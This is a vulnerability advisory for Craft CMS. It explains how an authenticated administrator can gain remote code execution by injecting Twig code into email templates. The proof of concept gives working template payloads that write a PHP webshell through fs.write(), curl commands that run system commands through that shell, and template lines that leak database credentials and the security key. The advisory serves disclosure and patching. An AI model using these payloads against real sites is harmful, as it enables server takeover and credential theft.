Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

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Proof of Concept

Attack Prerequisites

• Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

1. Navigate to Utilities → System Messages (/admin/utilities/system-messages)
2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
   • To exploit it by writing to a file system:
     • Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation.

     {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
     

   • To exploit it by writing to a volume:
     • Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation.

     {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
     

3. Save & go to Settings → Email (/admin/settings/email)
4. Click "Test" at the bottom of the page to trigger template rendering
5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: Note: The path might be different on your end depending on the filesystem or volume configuration.

   # For Filesystem
   curl "http://target.com/uploads/shell.php?c=id"
   # For Volume
   curl "http://target.com/uploads/images/shell.php?c=id"
   # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
   

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Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Recommended Fix

• Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
• Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216